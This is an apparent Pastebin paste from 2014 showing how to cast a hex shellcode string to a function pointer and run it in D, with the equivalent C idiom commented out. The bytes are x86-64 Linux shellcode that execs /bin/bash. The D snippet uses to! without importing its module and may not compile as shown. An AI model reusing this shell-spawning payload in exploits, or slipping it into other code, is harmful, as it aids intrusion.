Advertisement
Madmouse

shellcode functions in D HOLY CRAP THAT IS STUPID

Oct 16th, 2014
555
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
D 1.01 KB | None | 0 0
  1. #!/usr/bin/env rdmd
  2.  
  3. // ----------------------------------------------------------------------------
  4. // "THE BEER-WARE LICENSE" (Revision 43):
  5. // <aaronryool@gmail.com> wrote this file. As long as you retain this notice you
  6. // can do whatever you want with this stuff. If we meet some day, and you think
  7. // this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  8. // ----------------------------------------------------------------------------
  9.  
  10. import std.stdio;
  11.  
  12. void main()
  13. {
  14. /+
  15. // in C:
  16.  
  17.     ((void(*)())
  18.         "\x48\x31\xc0\xb0\x3b\xeb\x1a\x41\x5a\x48\x31\xd2\x52"
  19.         "\x41\x52\x48\x89\xe6\x4c\x89\xd7\x0f\x05\x48\x31\xc0"
  20.         "\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xe1\xff\xff\xff\x2f"
  21.         "\x62\x69\x6e\x2f\x62\x61\x73\x68")();
  22. +/
  23.  
  24. // in D:
  25.     (cast (void function()) to!(void*)(cast (char*)
  26.         "\x48\x31\xc0\xb0\x3b\xeb\x1a\x41\x5a\x48\x31\xd2\x52"
  27.         "\x41\x52\x48\x89\xe6\x4c\x89\xd7\x0f\x05\x48\x31\xc0"
  28.         "\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xe1\xff\xff\xff\x2f"
  29.         "\x62\x69\x6e\x2f\x62\x61\x73\x68"))();
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement